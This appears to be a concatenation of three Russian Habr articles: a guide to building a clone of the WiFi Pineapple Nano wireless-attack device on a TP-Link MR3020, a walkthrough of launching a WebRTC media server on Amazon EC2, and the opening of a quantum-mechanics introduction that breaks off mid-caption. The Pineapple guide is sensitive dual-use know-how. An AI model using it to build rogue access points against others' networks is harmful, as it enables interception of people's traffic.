# Pineapple Nano своими руками Часть 2. Прошивка устройства ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/3a0/94e/497/3a094e4975a79370b0a2030b883549d2.jpg)Сборка своего "хакерского чемоданчика", или как я портировал ПО от Pineapple Nano в доработанный роутер MR3020, все подробности в статье. Вперед! Описание преимуществ данного хакерского устройства, и обзор моей аппаратной платформы можно прочитать в первой [статье](https://habr.com/ru/post/650305/). Краткий обзор того,что имеем:  * роутер TP-Link [MR3020 v.1.0](http://wiki.openwrt.org/toh/tp-link/tl-mr3020) с увеличенными Flash и RAM; * USB-hub; * беспроводной адаптер Tp-Link TL-WN722N; * флеш-карта; * аккумуляторная сборка. ### Загрузчик Заводской загрузчик в роутере MR3020 не распознает Flash-память более 4 Mb, поэтому мне понадобился альтернативный u-boot. Как и писал в прошлой статье, загрузчик я использовал от [pepe2k](https://github.com/pepe2k/u-boot_mod). Я просто скачал загрузчик для MR3020 с репозитория, и залил в чистую Flash объемом 16 Mb. ART (Atheros Radio Test) раздел я прошью чуть позже. Прошивал дешевым программатором на чипе CH341, а программу использовал Colibri. ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/989/e1a/e1e/989e1ae1ef6f87e479cff00fb14fa417.jpg)Благо, я заранее предусмотрел возможность легкой перепрошивки. Чип был легко извлечен, прошит, вставлен обратно в роутер.  Параметры для подключения к терминалу роутера следующие: скорость 115200 бод/с, 8n1. Запускаем! ``` *************************************** * U-Boot 1.1.4-7a540a78-clean * * Build: 2018-02-23 * *************************************** BOARD: TP-Link TL-MR3020 v1 SOC: AR9330 rev. 1 CPU: MIPS 24Kc RAM: 64 MB DDR2 16-bit CL3-4-4-10 FLASH: 16 MB Winbond W25Q128 MAC: 00:03:7F:09:0B:AD (fixed) CLOCKS: CPU/RAM/AHB/SPI/REF 400/400/200/25/25 MHz ``` Лог консоли говорит что я молодец ~~наверное~~, и все делаю правильно, Flash и RAM определились в нужном нам объеме: ``` RAM: 64 MB DDR2 16-bit CL3-4-4-10 FLASH: 16 MB Winbond W25Q128 ``` Отличительной особенностью данного загрузчика является возможность прошивки образов U-Boot, Firmware и ART прямо из веб-браузера без необходимости доступа к последовательной консоли и запуска TFTP-сервера. Поэтому для прошивки достаточно подключить Ethernet-кабель к роутеру, подключить UART-USB адаптер к терминалу с нужными параметрами и при запуске нажать любую клавишу, когда увидим данное сообщение в терминале: ``` Hit any key to stop booting: 4 ``` После чего задаем настройки адреса веб-сервера на роутере, и запускаем его: ``` setenv ipaddr 192.168.0.100 saveenv httpd ``` Далее просто переходим по прописанному адресу на одну из данных страниц, в зависимости от того, что хотим прошить:  * 192.168.0.100 - прошивка основого образа; * 192.168.0.100/art.html - прошивка ART-раздела; * 192.168.0.100/uboot.html - прошивка загрузчика. Для начала прошьем немаловажную часть - ART-раздел. В конце  Flash-памяти у данного роутера находится маленький раздел - ART (Atheros Radio Test) - это раздел с калибровочными данными вай-фай части чипсета, и он чрезвычайно важен, так как без него он работать откажется совсем, а с чужими калибровками будет работать неизвестно как.  Предварительно, с еще заводского роутера, мной был сделан дамп ART-раздела: ``` cat /dev/mtd4 > /tmp/backup_art.bin ``` Далее просто переходим по адресу прошивки ART-раздела и выбираем нужный бинарный файл на пк: ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/1d6/b1c/170/1d6b1c17067d0bed61f9531ce6a41cc7.jpg)### Сборка прошивки Попытки залить оригинальную прошивку в устройство не привели ни к чему хорошему, как минимум потому, что у Pineapple и MR3020 по-разному используются GPIO.  Все описание выводов GPIO находится в DTS-файлах (Device Tree). Так, например, в версии [Nano](https://github.com/openwrt/openwrt/blob/master/target/linux/ath79/dts/ar9331_hak5_wifi-pineapple-nano.dts) для перезагрузки устройства используется 12 пин, и его активное состояние LOW: ``` keys { compatible = "gpio-keys"; reset { label = "reset"; linux,code = ; gpios = <&gpio 12 GPIO\_ACTIVE\_LOW>; debounce-interval = <60>; }; }; ``` А в том же TP-Link [TL-MR3020](https://github.com/openwrt/openwrt/blob/master/target/linux/ath79/dts/ar9331_tplink_tl-mr3020-v1.dts) по умолчанию кнопка для сброса вообще не работает, потому что она используется как WPS. Но описана она на 11 GPIO, и активна в состоянии HIGH: ``` keys { compatible = "gpio-keys"; reset { label = "reset"; linux,code = ; gpios = <&gpio 11 GPIO\_ACTIVE\_HIGH>; debounce-interval = <60>; }; ``` Для сборки прошивки устройства я воспользовался проектом [Universal Wifi pineapple hardware cloner](https://github.com/xchwarze/wifi-pineapple-cloner#universal-wifi-pineapple-hardware-cloner). В описании проекта есть хорошая инструкция, но я её продублирую и разберу.  Для начала нам нужно загрузить сам репозиторий, делается это простыми командами: ``` sudo apt-get update sudo apt-get upgrade sudo apt-get install git php python-lzma mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools git clone https://github.com/xchwarze/wifi-pineapple-cloner ``` Далее нам понадобится тулкит для того, чтобы разобрать прошивку. В репозитории предлагается использовать firmware-mod-kit (но можно использовать тот же  binwalk): ``` git clone https://github.com/rampageX/firmware-mod-kit fmk-tool ``` Далее начинается самое интересное - разбор прошивки с вычленением из нее всей файловой системы: ``` wget https://www.wifipineapple.com/downloads/nano/latest -O nanofw.bin fmk-tool/extract-firmware.sh nanofw.bin sudo chown -R $USER fmk mv fmk/rootfs rootfs-nano rm -rf fmk ``` Для того, чтобы узнать, какие пакеты установлены в Pineapple Nano мы натравим скрипт из проекта, который парсит файл rootfs-nano/usr/lib/opkg/status, и выводит список пакетов: сперва не Essential, потом Essential. Кроме тех, у которых есть значение-пометка "Auto-Installed", и кроме тех, кто попадает в этот список: 'pineap', 'aircrack-ng-hak5', 'cc-client', 'libwifi', 'resetssids', 'http\_sniffer', 'log\_daemon': ``` php opkg_statusdb_parser.php rootfs-nano/usr/lib/opkg/status ``` Результат вывода данного скрипта мы сохраняем куда-нибудь недалеко, он нам еще понадобится: ``` ======== Packages ======== Total: 102 at autossh base-files block-mount ca-certificates chat dnsmasq e2fsprogs ethtool firewall hostapd-utils ip6tables iperf3 iwinfo kmod-ath kmod-ath9k kmod-ath9k-htc kmod-crypto-manager kmod-fs-ext4 kmod-fs-nfs kmod-fs-vfat kmod-gpio-button-hotplug kmod-ipt-offload kmod-leds-gpio kmod-ledtrig-default-on kmod-ledtrig-netdev kmod-ledtrig-timer kmod-mt76x2u kmod-nf-nathelper kmod-rt2800-usb kmod-rtl8187 kmod-rtl8192cu kmod-scsi-generic kmod-usb-acm kmod-usb-net-asix kmod-usb-net-asix-ax88179 kmod-usb-net-qmi-wwan kmod-usb-net-rndis kmod-usb-net-sierrawireless kmod-usb-net-smsc95xx kmod-usb-ohci kmod-usb-storage-extras kmod-usb-uhci kmod-usb2 libbz2-1.0 libcurl4 libelf1 libffi libgmp10 libiconv-full2 libintl libltdl7 libnet-1.2.x libnl200 libreadline8 libustream-mbedtls20150806 libxml2 logd macchanger mt7601u-firmware mtd nano ncat netcat nginx odhcp6c odhcpd-ipv6only openssh-client openssh-server openssh-sftp-server openssl-util php7-cgi php7-fpm php7-mod-hash php7-mod-json php7-mod-mbstring php7-mod-openssl php7-mod-session php7-mod-sockets php7-mod-sqlite3 ppp ppp-mod-pppoe procps-ng-pkill procps-ng-ps python-logging python-openssl python-sqlite3 rtl-sdr ssmtp tcpdump uboot-envtools uci uclibcxx uclient-fetch urandom-seed urngd usb-modeswitch usbreset usbutils wget wireless-tools wpad ======== Essentials Packages ======== Total: 4 busybox libatomic1 libstdcpp6 opkg ``` Далее поочередно запустим скрипты copier.sh и nano-fixer.sh. Данные скрипты копируют и фиксят нужные файлы, чтобы в дальнейшем подсунуть их билдеру при сборке прошивки. ``` chmod +x copier.sh ./copier.sh nano.filelist rootfs-nano chmod +x nano-fixer.sh ./nano-fixer.sh ``` Далее мне пришлось отступить от инструкции по немаловажной причине - автор проекта предлагает использовать для сборки ImageBuilder, который, в свою очередь, собирает прошивки под уже известные платформы. А наша платформа измененная. Так как при изменении файла DTS в ImageBuilder он все равно собирает прошивку “по-памяти”, не учитывая необходимых изменений. Поэтому я решил взять в руки серьезный инструмент в виде Buildroot, и начал воевать. Из репозитория pineapple-cloner’а  мы знаем версию OpenWRT (я сам проверял, разбирая прошивку - версия OpenWRT - 19.07.2), ее и будем использовать. Для этого скачаем репозиторий, выберем версию, обновим репозиторий, и установим все дерево пакетов (на всякий случай): ``` git clone https://github.com/openwrt/openwrt.git cd openwrt/ git checkout v19.07.2 git pull ./scripts/feeds update -a ./scripts/feeds install -a ``` Учитывая, что память в роутере мы увеличили, нам придется так же пропатчить ядро на предмет емкости флеш-памяти, размещения в ней системы, без чего устройство откажется стартовать. Все изменения производим в DTS-файле, который лежит по вот этому пути: openwrt/target/linux/ath79/dts/ar9331\_tplink\_tl-mr3020-v1.dts.  Раздел с загрузчиком оставил неизменным -  он находится в начале флешки, размер партиции firmware - увеличиваем, а в конец флешки кладем ART-раздел: ``` &spi { num-chipselects = <1>; status = "okay"; /* Spansion W25Q128 SPI flash */ flash@0 { compatible = "jedec,spi-nor"; spi-max-frequency = <104000000>; reg = <0>; partitions { compatible = "fixed-partitions"; #address-cells = <1>; #size-cells = <1>; uboot: partition@0 { label = "u-boot"; reg = <0x000000 0x020000>; read-only; }; partition@20000 { compatible = "tplink,firmware"; label = "firmware"; reg = <0x020000 0xfd0000>; }; art: partition@ff0000 { label = "art"; reg = <0xff0000 0x010000>; read-only; }; }; }; }; ``` Для того, чтобы кнопка на 11 GPIO у нас стала работать как reset, а не WPS, перед сборкой нужно внести следующие изменения в файл openwrt/target/linux/ar71xx/files/arch/mips/ath79/mach-tl-mr3020.c, более подробно описано [здесь](https://openwrt.org/toh/tp-link/tl-mr3020#how_to_enable_reset_functionality): ``` keys { compatible = "gpio-keys"; button0 { label = "reset"; linux,code = ; gpios = <&gpio 11 GPIO\_ACTIVE\_HIGH>; debounce-interval = <60>; }; ``` Так, с настройками ядра мы разобрались, осталось включить в сборку необходимые нам пакеты (заодно исключить ненужные). Выполняем ``` make menuconfig ``` и, спокойно но уверенно, используя поиск конфигуратора, начинаем один за одним добавлять пакеты, которые мы спарсили скриптом из оригинальной прошивки. Дело не быстрое, но нужное - главное не забыть удалить два данных пакета: wpad-basic и dropbear. Запускаем сборку, и идем пить чай. Так как время сборки приблизительно составляет около часа (в зависимости от мощности ПК, конечно же): ``` make -j 5 V=s ``` После успешной сборки прошивки просто выгружаем ее и прошиваем ей роутер: ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/02b/9c8/e31/02b9c8e3169cdbd9d715b2b2e9b67d2c.jpg)Запускаем роутер,подключаем к нему кабель Ethernet выставляем на ПК адрес 172.16.42.42, и в браузере стучимся по следующему адресу: 172.16.42.1:1471. Ура! Роутер заработал, приглашает к первому запуску. Вводим необходимые параметры, и сразу смотрим точки вокруг себя: ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/1a3/bd6/17f/1a3bd617f752496d43e3af0037328e0c.jpg)### Заключение В итоге после совершения нехитрых действия я получил свой собственный программно-аппаратный комплекс для аудита беспроводных сетей. В следующей статье я расскажу о всех фишках и способах его применения в повседневной ~~и не только~~ жизни.
https://habr.com/ru/post/652943/
null
ru
null
# Запуск WebRTC медиасервера в облаке Amazon EC2 для Live видеотрансляций из браузеров и мобильных приложений ![](https://habrastorage.org/r/w1560/files/238/8a1/012/2388a101205f4fabb197320bb536926a.png) AWS Marketplace --------------- Прежде всего хотелось бы сказать несколько слов о маркете [Amazon AWS Marketplace](https://aws.amazon.com/marketplace). В отличии от **Google Play** и **App Store**, где выкладываются мобильные приложения, на AWS разработчики выкладывают серверные приложения. Здесь можно найти много интересного, начиная от бесплатного стека **LAMP** и заканчивая серверными Enterprise-решениями вроде **SAP**. Прелесть работы с маркетом кроется в быстроте и удобстве развертывания. Требуемый сервер приложений, как правило, уже настроен, оптимально сконфигурирован и будет запущен во время запуска самого **EC2 инстанса** (виртуального сервера Amazon EC2). Запуск инстанса происходит из веб-интерфейса и не требует каких-то дополнительных админских знаний и умений. Скилы по администрированию Linux, впрочем, могут потребоваться позже, во время эксплуатации. Но согласитесь, это определённо приятно — взять и начать работать, пропустив все этапы инсталляции и настройки и сэкономив час-другой времени на всякий troubleshooting и прогулки с бубном по граблям. В результате получаем живой сервер с требуемым функционалом, предварительно настроенный и уже работающий. ![](https://habrastorage.org/r/w780q1/files/402/cd1/9fc/402cd19fcb824c51b07996118f4dfacc.jpg) Позже ничего не мешает зайти на этот сервер по SSH, проверить все текущие настройки, файловую систему, и т.п. В результате имеем полный доступ к серверу и сэкономленное драгоценное время. Для работы с AWS Marketplace вам конечно же потребуется аккаунт на Amazon Web Services. К счастью, у многих разработчиков и IT-специалистов такой аккаунт уже есть. Если нет, вы всегда можете получить его на сайте [AWS](https://aws.amazon.com/). WebRTC медиа сервер ------------------- Как известно, **WebRTC** — это технология для захвата, воспроизведения и передачи аудио и видео данных в браузерах и мобильных устройствах. С помощью WebRTC можно делать такие приложения, как онлайн-трансляции, видеочаты, видеозвонки, конференции, интернет-радио и многие другие проекты, где требуется собственно **RTC** — реалтайм коммуникация в реальном времени и с низкой задержкой. ![](https://habrastorage.org/r/w1560/files/e19/9fe/beb/e199febeb5f34fa5910da6834d72c09d.png) WebRTC медиа серверы расширяют возможности технологии WebRTC, которая без такого сервера работает **Peer-to-Peer** и имеет ряд технических ограничений. Медиа сервер может использоваться для таких задач, как: * Запись WebRTC видеопотока на сервере * Ретрансляция видеопотока * Транскодирование видеопотока * Конвертация формата потока, например с WebRTC на RTMP или HLS * Нарезка видеопотока на картинки (snapshots) * Воспроизведение WebRTC видеопотока с IP-камер * и т.д. В этой статье мы покажем как запустить WebRTC-сервер на платформе Amazon AWS буквально в два клика и как протестировать несколько примеров, связанных с обработкой видео, полученного по WebRTC. Web Call Server --------------- Тестировать будем [Web Call Server](https://flashphoner.com/). Это WebRTC медиасервер с поддержкой технологии WebRTC, RTMP, RTSP и других протоколов и технологий для работы с реал-тайм видео. Сразу после запуска попытаемся протестировать несколько присущих медиасерверу функций, таких как запись, ретрансляция, конвертация в RTMP и воспроизведение с IP-камеры. ![](https://habrastorage.org/r/w1560/files/5ca/631/b4f/5ca631b4f570495285a7b693200e67db.png) Листинг AWS Marketplace ----------------------- Выше упоминалось, что для запуска потребуется логин в сервисе AWS. Листингом (listing) называется страница серверного приложения в маркете. Листинг Web Call Server доступен по [этой ссылке](https://aws.amazon.com/marketplace/pp/B01D1L5EAK) и выглядит следующим образом. Обратите внимание на желтую кнопку **Continue** — это наш клик номер 1. ![](https://habrastorage.org/r/w780q1/files/477/0e4/a14/4770e4a1441a4b81a410988164b46a05.jpg) Следующая страница представляет собой полное описание услуги и позволяет выбрать подходящий размер инстанса по CPU и памяти, скорректировать список открытых портов. Еще можно ничего не менять и просто нажать кнопку **Launch with 1 click**, оставив все настройки по-умолчанию. Amazon — инстансы знамениты тем, что их можно создать и в ту же минуту уничтожить. Поэтому если что-то было сконфигурировано не так или был выбран не тот размер инстанса, просто делаем ему **terminate** и создаем заново. Благо это рутинная операция, требующая пару минут по времени. ![](https://habrastorage.org/r/w780q1/files/8e5/e1e/259/8e5e1e2596cb4c83be8d04868145708d.jpg) Готово ------ После второго клика вы увидите сообщение об успешном запуске. После этого придется подождать пока инстанс поднимется и пройдут все необходимые процедуры, связанные с первым запуском. ![](https://habrastorage.org/r/w780q1/files/16c/fc6/7c3/16cfc67c316b47c1ab65c40fbcd284b4.jpg) Если пройти в EC2 Management Console и посмотреть чего мы там поназапускали в разделе **Instances**, то можно найти вот такую табличку: ![](https://habrastorage.org/r/w1560/files/8b8/a35/027/8b8a35027a6f4f50abf2ebde13ffc66d.png) Это и есть наш стартующий EC2 инстанс, которому были присвоены следующие адреса: ``` DNS: ec2-34-207-147-235.compute-1.amazonaws.com IP: 34.207.147.235 ``` Открываем в браузере **Google Chrome** адрес начальной настройки сервера: <https://ec2-34-207-147-235.compute-1.amazonaws.com:8888> ![](https://habrastorage.org/r/w780q1/files/b25/253/85a/b2525385a4dc4fb7a24345ab5c451e8c.jpg) Chrome выдает недружелюбное приветствие и жалуется на проблемы с SSL сертификатами. Действительно, сертификаты можете установить только вы и для их установки должен быть использован ваш собственный домен. Поэтому просто нажимаем ссылки **ADVANCED / PROCEED** и тем самым говорим Chrome-браузеру использовать те сертификаты, что предлагает сервер. Следующим шагом вводим номер бесплатной лицензии на Web Call Server, которую можно получить [здесь](https://flashphoner.com/get_trial). ![](https://habrastorage.org/r/w780q1/files/d76/00f/dda/d7600fddae7b477da50fe1f077b6a50c.jpg) Далее нужно установить пароль администратора для входа в **Dashboard** сервера и авторизоваться под установленными логином и паролем. ![](https://habrastorage.org/r/w780q1/files/8cd/f9f/d6d/8cdf9fd6d4564e20abcaa81e2f56d634.jpg) Тестирование WebRTC записи -------------------------- Преднастройка сервера закончена и можно приступать непосредственно к тестированию. Для этого нужно залогиниться в **Dashboard** и открыть тестовый пример. Например WebRTC трансляция с записью видеопотока выглядит следующим образом: ![](https://habrastorage.org/r/w780q1/files/149/7cd/16e/1497cd16e33e42898a1c0028596ebe3e.jpg) В левой части мы захватываем видео с веб-камеры. Видео одновременно ретранслируется и записывается на сервер. После остановки трансляции кнопкой **Stop**, поток перестает идти на сервер и запись прекращается. Справа появляется ссылка на скачивание файла в формате **mp4**. Тестирование WebRTC — ретрансляции ---------------------------------- Другим полезным применением WebRTC медиасервера является ретрансляция WebRTC потока в режиме один-ко-многим. Для этого удобно использовать пример **Two Way Streaming**. ![](https://habrastorage.org/r/w1560/files/189/c03/925/189c03925d3e469faabf6171c3146607.png) На скриншоте выше происходит отправка видеопотока с именем **eabc** на Amazon EC2 сервер по технологии WebRTC. Таким образом задается имя видеопотока и поток можно проиграть по этому имени в этом же интерфейсе справа, нажав кнопку **Play**, либо в другом примере — **Player**, например так: ![](https://habrastorage.org/r/w780q1/files/892/f65/ab4/892f65ab4da04aeabf13cc3885ed25ff.jpg) Так как это ретрансляция, то можно открыть много окон плееров, каждый из которых будет играть один и тот же WebRTC видеопоток. WebRTC трансляция с RTSP-камер ------------------------------ Сервер может забрать поток с IP-камеры и раздать его по WebRTC. Для этого нужно чтобы IP-камера была доступна по RTSP и держала кодеки H.264 и AAC. Для тестирования можно использовать тот же **Player**, с той лишь разницей, что в качестве имени видеопотока нужно задавать RTSP URL. ![](https://habrastorage.org/r/w780q1/files/0f9/af0/291/0f9af0291ccd44e788c5354ddf4f5e78.jpg) В данном примере используется RTSP-поток с источника по адресу: *rtsp://str81.creacast.com/grandlilletv/high* WebRTC ретрансляция в RTMP -------------------------- В качестве завершающего четвертого примера рассмотрим трансляцию WebRTC потока с републикацией по RTMP. Не секрет, что несмотря на широкое развитие технологии WebRTC многие сервисы продолжают работать на Flash и задача этой конвертации — сделать WebRTC поток доступным на Flash-платформах и серверах, которые не поддерживают WebRTC. Пример называется **WebRTC as RTMP re-publishing** и показывает как на одной странице можно отправить поток на сервер по WebRTC (слева), перенаправить его на этот же сервер как RTMP и проиграть во Flash Player по протоколу RTMP (справа). ![](https://habrastorage.org/r/w780q1/files/100/199/c25/100199c25a0b4dbea1fde274ffda6caf.jpg) Таким образом, мы показали такие возможности WebRTC медиасервера, как * Запись WebRTC * Ретрансляция с вебкамеры * Ретрансляция с RTSP IP-камеры * Трансляция с конвертацией в RTMP Web — разработка ---------------- Все примеры, которые мы запускали в Dashborad представляют собой обычный **JavaScript + HTML** с открытым исходным кодом. Например, код примера Player доступен [здесь](https://github.com/flashphoner/flashphoner_client/tree/wcs_api-2.0/examples/demo/streaming/player). Работа всех перечисленных примеров сводится к трем простым **JavaScript — функциям**. **1. Установка соединения.** Этот код устанавливает соединение с сервером по протоколу Websocket. Получив статус **ESTABLISHED**, у объекта session можно вызвать **createStream()** для отправки видеопотока или воспроизведения. ``` Flashphoner.createSession({urlServer: "wss://ec2-34-207-147-235.compute-1.amazonaws.com:8443"}).on(Flashphoner.constants.SESSION_STATUS.ESTABLISHED, function (session) { //session connected, start streaming }).on(Flashphoner.constants.SESSION_STATUS.DISCONNECTED, function () { //display status }).on(Flashphoner.constants.SESSION_STATUS.FAILED, function () { //display status }); ``` **2. Отправка видеопотока** Для отправки видеопотока на сервер, используется метод **stream.publish()**. Как видно из кода, сначала на созданный Stream навешиваются обработчики событий, и в самом конце вызывается **publish()**. ``` session.createStream({ name: "eabcd", display: localVideo, cacheLocalResources: true, receiveVideo: false, receiveAudio: false }).on(Flashphoner.constants.STREAM_STATUS.PUBLISHING, function (publishStream) { //display status }).on(Flashphoner.constants.STREAM_STATUS.UNPUBLISHED, function () { //display status }).on(Flashphoner.constants.STREAM_STATUS.FAILED, function () { //display status }).publish(); ``` **3. Воспроизведение видеопотока** Для воспроизведения потока нужно вызвать **play()**. Поток воспроизводится в div-элементе с id=remoteVideo. ``` session.createStream({ name: "stream222", display: remoteVideo, cacheLocalResources: true, receiveVideo: true, receiveAudio: true }).on(Flashphoner.constants.STREAM_STATUS.PLAYING, function (playStream) { //display status }).on(Flashphoner.constants.STREAM_STATUS.STOPPED, function () { //display status }).on(Flashphoner.constants.STREAM_STATUS.FAILED, function () { //display status }).play(); ``` Таким образом, для разработки и адаптации примеров потребуется уверенное знание JavaScript и HTML, позволяющие встроить данные функции в существующий код страницы и скрипты. Более подробную документацию по веб-разработке скриптов для воспроизведения и отправки видеопотоков можно получить на странице [Web SDK для Web Call Server](https://flashphoner.com/wcs-web-sdk). Администрирование ----------------- Инстанс, полученный на AWS Marketplace является обычным Amazon EC2 инстансом, к которому применимы стандартные способы администрирования через SSH. Для того чтобы войти в консоль сервера по SSH, воспользуемся например [Putty](http://www.putty.org/) 1. Вписываем IP-адрес или домен EC2-сервера в **меню Session**. ![](https://habrastorage.org/r/w780q1/files/de3/426/342/de3426342d614025b9a7eb87de84542b.jpg) 2. Ставим стандартное имя пользователя **ec2-user** в меню **Connection / Data** ![](https://habrastorage.org/r/w780q1/files/33d/db8/fd2/33ddb8fd21e147daaaabac0fc79fc112.jpg) 3. Указываем путь к файлу с приватным ключом. ![](https://habrastorage.org/r/w780q1/files/564/400/5a3/5644005a3a8a41198fc22ef1c22f8e16.jpg) Управление ключами осуществляется внутри аккаунта Amazon AWS в настройках Security. Скорее всего, так как у вас уже есть аккаунт, у вас уже создана хотя бы одна Security группа и скачаны ключи. Если это не так, обратитесь к [документации Amazon AWS](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html#having-ec2-create-your-key-pair) чтобы создать / скачать ваш **Private Key**. Далее попадаем в консоль Linux-сервера и можем его администрировать. ![](https://habrastorage.org/r/w780q1/files/48e/d1e/ba5/48ed1eba560f46dab6ff6a7d897efe13.jpg) Например можно зайти в папку с примерами, которые мы показывали выше и посмотреть файлы, которые там лежат. В частности, пример Two Way Streaming будет расположен по следующему пути: ``` /usr/local/FlashphonerWebCallServer/client2/examples/demo/streaming/two_way_streaming ``` А дерево файлов примеров будет выглядеть так: ``` cd /usr/local/FlashphonerWebCallServer tree -L 1 client2 ``` ![](https://habrastorage.org/r/w1560/files/d5f/a80/e59/d5fa80e59cc740899a28bf23ed8e10d2.png) Эти примеры можно запаковать и скопировать к себе на web-сервер, например Apache или Nginx. Например так: ``` cd /usr/local/FlashphonerWebCallServer tar -czf client2.tar.gz client2 ``` ![](https://habrastorage.org/r/w1560/files/33f/1d2/97c/33f1d297c8cb4d9198c79a8046f57641.png) Не лишним будет обратить внимание на то, что мы тестируем все по HTTPS, т.к. В Chrome WebRTC отказывается работать с незащищенных (HTTP) страниц. Поэтому при переносе примеров на Apache или Nginx, позаботьтесь о том, чтобы эти страницы были доступны по HTTPS. Ссылки ------ * [AWS Web Services](https://aws.amazon.com/) — серверы Amazon AWS * [AWS Marketplace](https://aws.amazon.com/marketplace) — маркет Amazon AWS * [Web Call Server](https://flashphoner.com/) — сайт WebRTC медиа сервера Web Call Server * [Web Call Server Listing on Amazon Marketplace](https://aws.amazon.com/marketplace/pp/B01D1L5EAK) — листинг Web Call Server на AWS * [Player](https://github.com/flashphoner/flashphoner_client/tree/wcs_api-2.0/examples/demo/streaming/player) — пример JavaScript / HTML кода Player для воспроизведения WebRTC * [Web SDK](https://flashphoner.com/wcs-web-sdk) — JavaScript API для разработки WebRTC веб-приложений * [Putty](http://www.putty.org/) — SSH клиент для Windows. * [AWS Security and key management](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html#having-ec2-create-your-key-pair) — управление ключами в AWS Marketplace
https://habr.com/ru/post/323376/
null
ru
null
# Квантовая механика для всех, даром, и пусть никто не уйдёт обиженным: часть первая *Здравствуйте! Я хотел бы представить вашему вниманию отличное введение в квантовую механику, написанное Элиезером Юдковским; быть может, он известен вам по своему сайту lesswrong.com, посвящённому рационализму, предрассудкам, когнитивным парадоксам и ещё многим интересным вещам.* [читать вторую часть →](http://habrahabr.ru/post/173783/) Введение во введение ==================== Предупреждаю сразу: этот цикл статей заметно отличается от традиционного введения в квантовую механику. **Во-первых**, я *не* буду цитировать Ричарда Фейнмана, однажды заявившего, что «это нормально — не понимать квантовую механику, потому что никто её не понимает». Когда-то это было так, но времена меняются. Я не скажу: «Квантовую механику невозможно понять, к ней просто нужно привыкнуть». (Эту цитату приписывают Джону фон Нейману; он жил в те дремучие времена, когда никто *и в самом деле* не понимал квантовую механику.) Нельзя заканчивать объяснение словами «Если что-то непонятно, так и должно быть». Нет, так *не должно быть*. Может, проблема в вас. Может — в вашем учителе. В любом случае, её надо *решать*, а не сидеть сложа руки и успокаивать себя тем, что все остальные тоже ничего не понимают. Я не буду говорить, что квантовая механика — это нечто *странное*, *запутанное* или *недоступное для человеческого понимания*. Да, она контринтуитивна — но это беда исключительно нашей интуиции. Квантовая механика возникла задолго до Солнца, планеты Земля или человеческой цивилизации. Она не собирается меняться ради вас. Вообще, не существует *обескураживающих фактов*, есть только *теории, обескураженные фактами*; а если теория не совпадает с практикой, это не делает ей чести. Всегда стоит рассматривать реальность как совершенно обыденную вещь. С начала времён во Вселенной не случилось *ничего* необычного. Наша *цель* — научиться чувствовать себя как дома в этом квантовом мире. Потому что мы и так дома. На протяжении всего этого цикла я буду говорить о квантовой механике как о *самой обычной* теории; а там, где интуитивное представление о мире не совпадает с ней, я буду высмеивать *интуицию* за несоответствие реальности. **Во-вторых**, я не собираюсь следовать традиционному порядку изучения квантовой механики, копирующему порядок, в котором её открывали. Обычно всё начинается с рассказа о том, что материя иногда ведёт себя как кучка маленьких бильярдных шаров, сталкивающихся между собой, а иногда — как волны на поверхности бассейна. Это сопровождается несколькими примерами, иллюстирующими оба взгляда на материю. Раньше, когда всё это только зарождалось и никто не имел *ни малейшего понятия* о математических основах физики, учёные всерьёз считали, что всё состоит из атомов, ведущих себя примерно как бильярдные шары. А потом они стали считать, что всё состоит из волн. А потом они опять вернулись к бильярдным шарам. Всё это привело к тому, что учёные *окончательно* запутались, и только через несколько десятилетий — к концу девятнадцатого века — им удалось расставить всё по своим местам. Если применить этот *исторический достоверный* подход к обучению современных студентов (как сейчас и поступают), с ними закономерно случится то же, что случилось с ранними учёными, а именно — *они впадут в полное и абсолютное замешательство*. Рассказывать студентам, изучающим физику, о корпускулярно-волновом дуализме, это то же самое, что начинать курс химии лекцией о четырёх стихиях. Электрон не похож *ни* на бильярдный шар, *ни* на гребень океанской волны. Электрон — это совершенно другой объект с математической точки зрения, и он остаётся таким *при любых обстоятельствах*. А если вы будете упорствовать в своём стремлении считать его и тем, и тем, *как вам удобнее*, предупреждаю: за двумя зайцами погонишься — ни одного не поймаешь. Это не единственная причина, по которой исторический порядок — не лучший выбор. Давайте проследим за гипотетическим процессом *с самого начала*: люди замечают, что они окружены другими животными — внутри животных, оказывается, есть органы — а органы, если присмотреться внимательнее, состоят из тканей — под микроскопом видно, что ткани состоят из клеток — клетки состоят из протеинов и прочих химических соединений — химические соединения состоят из атомов — атомы состоят из протонов, нейтронов и электронов — *а последние гораздо проще и понятнее животных, с которых всё началось, но были открыты на десятки тысяч лет позже*. Физику не начинают проходить с биологии. Тогда почему её нужно начинать с обсуждения лабораторных экспериментов и их результатов, которые даже в случае простейших опытов являются следствием множества сложных и запутанных процессов? С одной стороны, я могу понять, почему во главу угла ставится эксперимент. Мы же о *физике* говорим, в конце концов. С другой стороны, давать студентам в руки сложный математический аппарат только для того, чтобы они могли проанализировать простой опыт — *это уже чересчур*. Программистов, например, сначала учат складывать две переменные, а только потом — писать многопоточные приложения; и плевать на то, что вторые «ближе к реальной жизни». Классическая механика не следует явным образом из квантовой механики. Более того, классическая механика находится на гораздо более высоком уровне. Сравните атомы и молекулы с кварками: миллионы известных науке химических веществ, сотня химических элементов, и всего шесть кварков. Сначала лучше понять простое, а только потом переходить к сложному. **Наконец**, я буду рассматривать квантовую механику со строго реалистической позиции — наш мир является квантовым, наши уравнения описывают территорию, а не её карту, и привычный нам мир неявным образом существует в квантовом мире. Если среди моих читателей есть антиреалисты — *пожалуйста*, придержите свои комментарии. Квантовую механику гораздо труднее понять и представить, если сомневаешься в её справедливости. Я поговорю об этом подробнее в одной из следующих статей. Я думаю, что той точки зрения, которую я буду излагать в этом введении, придерживается большинство физиков-теоретиков. Но вы всё же должны знать, что это не единственная возможная точка зрения, и немалая доля учёных сомневается в верности реалистической позиции. Хоть я и не собираюсь уделять внимание каким-либо другим теориям *прямо сейчас*, я чувствую себя обязанным упомянуть о том, что они *есть*. **Подводя итог**, моя цель — научить вас думать как *коренной житель квантового мира*, а не как *турист поневоле*. Покрепче вцепитесь в реальность. Мы начинаем. Конфигурации и амплитуды ======================== Посмотрите на рис. 1. В точке **A** находится полупосеребрённое зеркало, а в точках **B** и **C** — два детектора фотонов. ![Рис. 